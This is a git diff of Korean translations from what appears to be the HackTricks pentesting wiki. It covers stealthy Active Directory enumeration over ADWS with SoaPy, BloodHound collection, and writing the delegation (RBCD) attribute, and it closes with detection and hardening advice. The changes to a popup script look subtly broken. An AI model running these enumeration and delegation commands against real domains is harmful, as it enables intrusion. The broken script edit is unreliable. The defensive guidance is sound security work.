|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is ADWS?
|
||||
## ADWS란 무엇인가?
|
||||
|
||||
Active Directory Web Services (ADWS)는 **Windows Server 2008 R2 이후 모든 도메인 컨트롤러에서 기본적으로 활성화되어 있으며** TCP **9389**에서 수신 대기합니다. 이름과는 달리, **HTTP는 포함되지 않습니다**. 대신, 이 서비스는 독점적인 .NET 프레임 프로토콜 스택을 통해 LDAP 스타일의 데이터를 노출합니다:
|
||||
Active Directory Web Services (ADWS)는 **Windows Server 2008 R2 이후 모든 도메인 컨트롤러에서 기본적으로 활성화되어 있으며** TCP **9389**에서 수신 대기합니다. 이름과는 달리, **HTTP는 포함되지 않습니다**. 대신, 이 서비스는 독점적인 .NET 프레이밍 프로토콜 스택을 통해 LDAP 스타일의 데이터를 노출합니다:
|
||||
|
||||
* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
|
||||
|
||||
트래픽이 이러한 이진 SOAP 프레임 안에 캡슐화되어 있고 일반적이지 않은 포트를 통해 전송되기 때문에, **ADWS를 통한 열거는 고전적인 LDAP/389 및 636 트래픽보다 검사, 필터링 또는 서명될 가능성이 훨씬 적습니다**. 운영자에게는 다음과 같은 의미가 있습니다:
|
||||
트래픽이 이러한 이진 SOAP 프레임 안에 캡슐화되어 있고 일반적이지 않은 포트를 통해 전송되기 때문에, **ADWS를 통한 열거는 고전적인 LDAP/389 및 636 트래픽보다 검사, 필터링 또는 서명될 가능성이 훨씬 낮습니다**. 운영자에게는 다음과 같은 의미가 있습니다:
|
||||
|
||||
* 더 은밀한 정찰 – 블루 팀은 종종 LDAP 쿼리에 집중합니다.
|
||||
* SOCKS 프록시를 통해 9389/TCP를 터널링하여 **비 Windows 호스트 (Linux, macOS)**에서 수집할 수 있는 자유.
|
||||
* LDAP를 통해 얻을 수 있는 동일한 데이터 (사용자, 그룹, ACL, 스키마 등)와 **쓰기**를 수행할 수 있는 능력 (예: **RBCD**를 위한 `msDs-AllowedToActOnBehalfOfOtherIdentity`).
|
||||
|
||||
> NOTE: ADWS는 많은 RSAT GUI/PowerShell 도구에서도 사용되므로 트래픽이 합법적인 관리자 활동과 혼합될 수 있습니다.
|
||||
> 참고: ADWS는 많은 RSAT GUI/PowerShell 도구에서도 사용되므로 트래픽이 합법적인 관리 활동과 혼합될 수 있습니다.
|
||||
|
||||
## SoaPy – Native Python Client
|
||||
## SoaPy – 네이티브 Python 클라이언트
|
||||
|
||||
[SoaPy](https://github.com/logangoins/soapy)는 **순수 Python으로 ADWS 프로토콜 스택을 완전히 재구현한 것입니다**. 이는 NBFX/NBFSE/NNS/NMF 프레임을 바이트 단위로 생성하여 .NET 런타임에 손대지 않고 Unix 유사 시스템에서 수집할 수 있게 합니다.
|
||||
|
||||
### Key Features
|
||||
### 주요 기능
|
||||
|
||||
* **SOCKS를 통한 프록시 지원** (C2 임플란트에서 유용).
|
||||
* LDAP `-q '(objectClass=user)'`와 동일한 세밀한 검색 필터.
|
||||
@ -28,13 +28,13 @@ Active Directory Web Services (ADWS)는 **Windows Server 2008 R2 이후 모든
|
||||
* BloodHound에 직접 수집하기 위한 **BOFHound 출력 모드**.
|
||||
* 사람이 읽기 쉬운 경우를 위해 타임스탬프 / `userAccountControl`을 예쁘게 만드는 `--parse` 플래그.
|
||||
|
||||
### Installation (operator host)
|
||||
### 설치 (운영자 호스트)
|
||||
```bash
|
||||
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
|
||||
```
|
||||
## Stealth AD Collection Workflow
|
||||
|
||||
다음 워크플로우는 ADWS를 통해 **도메인 및 ADCS 객체**를 열거하고, 이를 BloodHound JSON으로 변환한 후 인증서 기반 공격 경로를 탐색하는 방법을 보여줍니다 – 모두 Linux에서:
|
||||
다음 워크플로우는 ADWS를 통해 **도메인 및 ADCS 객체**를 열거하고, 이를 BloodHound JSON으로 변환한 후, 인증서 기반 공격 경로를 탐색하는 방법을 보여줍니다 – 모두 Linux에서 수행됩니다:
|
||||
|
||||
1. **대상 네트워크에서 귀하의 박스로 9389/TCP 터널링** (예: Chisel, Meterpreter, SSH 동적 포트 포워드 등을 통해). `export HTTPS_PROXY=socks5://127.0.0.1:1080`을 내보내거나 SoaPy의 `--proxyHost/--proxyPort`를 사용하십시오.
|
||||
|
||||
@ -44,7 +44,7 @@ soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
-q '(objectClass=domain)' \
|
||||
| tee data/domain.log
|
||||
```
|
||||
3. **구성 NC에서 ADCS 관련 객체 수집:**
|
||||
3. **Configuration NC에서 ADCS 관련 객체 수집:**
|
||||
```bash
|
||||
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
-dn 'CN=Configuration,DC=ludus,DC=domain' \
|
||||
@ -58,19 +58,19 @@ bofhound -i data --zip # produces BloodHound.zip
|
||||
```
|
||||
5. **ZIP 파일을** BloodHound GUI에 업로드하고 `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c`와 같은 cypher 쿼리를 실행하여 인증서 상승 경로(ESC1, ESC8 등)를 드러냅니다.
|
||||
|
||||
### `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD) 작성하기
|
||||
### `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD) 작성
|
||||
```bash
|
||||
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
|
||||
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
|
||||
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
|
||||
```
|
||||
`s4u2proxy`/`Rubeus /getticket`와 결합하여 전체 **리소스 기반 제약 위임** 체인을 만듭니다.
|
||||
`s4u2proxy`/`Rubeus /getticket`를 결합하여 전체 **리소스 기반 제약 위임** 체인을 만듭니다.
|
||||
|
||||
## 탐지 및 강화
|
||||
|
||||
### 상세 ADDS 로깅
|
||||
### 상세한 ADDS 로깅
|
||||
|
||||
ADWS(및 LDAP)에서 발생하는 비효율적인 검색을 드러내기 위해 도메인 컨트롤러에서 다음 레지스트리 키를 활성화합니다:
|
||||
도메인 컨트롤러에서 ADWS(및 LDAP)에서 발생하는 비용이 많이 드는 / 비효율적인 검색을 표면화하기 위해 다음 레지스트리 키를 활성화합니다:
|
||||
```powershell
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
|
||||
@ -82,7 +82,7 @@ New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters'
|
||||
|
||||
1. 더미 객체(예: 비활성 사용자 `CanaryUser`)를 생성합니다.
|
||||
2. _Everyone_ 주체에 대한 **Audit** ACE를 추가하고 **ReadProperty**에서 감사합니다.
|
||||
3. 공격자가 `(servicePrincipalName=*)`, `(objectClass=user)` 등을 수행할 때마다 DC는 실제 사용자 SID를 포함하는 **Event 4662**를 발생시킵니다. 이는 요청이 프록시되거나 ADWS에서 발생하더라도 마찬가지입니다.
|
||||
3. 공격자가 `(servicePrincipalName=*)`, `(objectClass=user)` 등을 수행할 때마다 DC는 실제 사용자 SID를 포함하는 **Event 4662**를 발생시킵니다. 이는 요청이 프록시되거나 ADWS에서 시작되었을 때도 마찬가지입니다.
|
||||
|
||||
Elastic 사전 구축 규칙 예:
|
||||
```kql
|
||||
|
@ -50,7 +50,7 @@ curl -L https://ghst.ly/getbhce | docker compose -f - up
|
||||
* `AzureHound` – Azure AD 열거
|
||||
* **SoaPy + BOFHound** – ADWS 수집 (상단의 링크 참조)
|
||||
|
||||
#### 일반 SharpHound 모드
|
||||
#### 일반적인 SharpHound 모드
|
||||
```powershell
|
||||
SharpHound.exe --CollectionMethods All # Full sweep (noisy)
|
||||
SharpHound.exe --CollectionMethods Group,LocalAdmin,Session,Trusts,ACL
|
||||
@ -71,7 +71,7 @@ Group3r.exe -f gpo.log # -s to stdout
|
||||
|
||||
## PingCastle
|
||||
|
||||
[PingCastle](https://www.pingcastle.com/documentation/)는 Active Directory의 **건강 검진**을 수행하고 위험 점수가 포함된 HTML 보고서를 생성합니다.
|
||||
[PingCastle](https://www.pingcastle.com/documentation/)는 Active Directory의 **건강 점검**을 수행하고 위험 점수가 포함된 HTML 보고서를 생성합니다.
|
||||
```powershell
|
||||
PingCastle.exe --healthcheck --server corp.local --user bob --password "P@ssw0rd!"
|
||||
```
|
||||
|
24
theme/ai.js
24
theme/ai.js
@ -1,6 +1,6 @@
|
||||
/**
|
||||
* HackTricks Training Discounts
|
||||
*/
|
||||
|
||||
|
||||
|
||||
(() => {
|
||||
@ -9,13 +9,13 @@
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
// Stop if user already dismissed
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
/* Quick helper */
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
|
||||
/* --- Overlay (blur + dim) --- */
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
position: fixed; inset: 0;
|
||||
background: rgba(0,0,0,.4);
|
||||
@ -24,7 +24,7 @@
|
||||
z-index: 10000;
|
||||
`);
|
||||
|
||||
/* --- Modal --- */
|
||||
// --- Modal ---
|
||||
const modal = $('div', `
|
||||
max-width: 90vw; width: 480px;
|
||||
background: #fff; border-radius: 12px; overflow: hidden;
|
||||
@ -33,10 +33,10 @@
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (link + close) --- */
|
||||
// --- Title bar (link + close) ---
|
||||
const titleBar = $('div', `
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
padding: 1rem 2.5rem 1rem 1rem; // room for the close button
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
@ -53,7 +53,7 @@
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
// Close "X" (no persistence)
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
@ -65,11 +65,11 @@
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
// --- Image ---
|
||||
const img = $('img');
|
||||
img.src = IMG; img.alt = TXT; img.style.width = '100%';
|
||||
|
||||
/* --- Checkbox row --- */
|
||||
// --- Checkbox row ---
|
||||
const label = $('label', `
|
||||
display: flex; align-items: center; justify-content: center; gap: .6rem;
|
||||
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
|
||||
@ -83,7 +83,7 @@
|
||||
};
|
||||
label.append(cb, document.createTextNode("Don't show again"));
|
||||
|
||||
/* --- Assemble & inject --- */
|
||||
// --- Assemble & inject ---
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
@ -93,7 +93,7 @@
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/**
|
||||
|
Loading…
x
Reference in New Issue
Block a user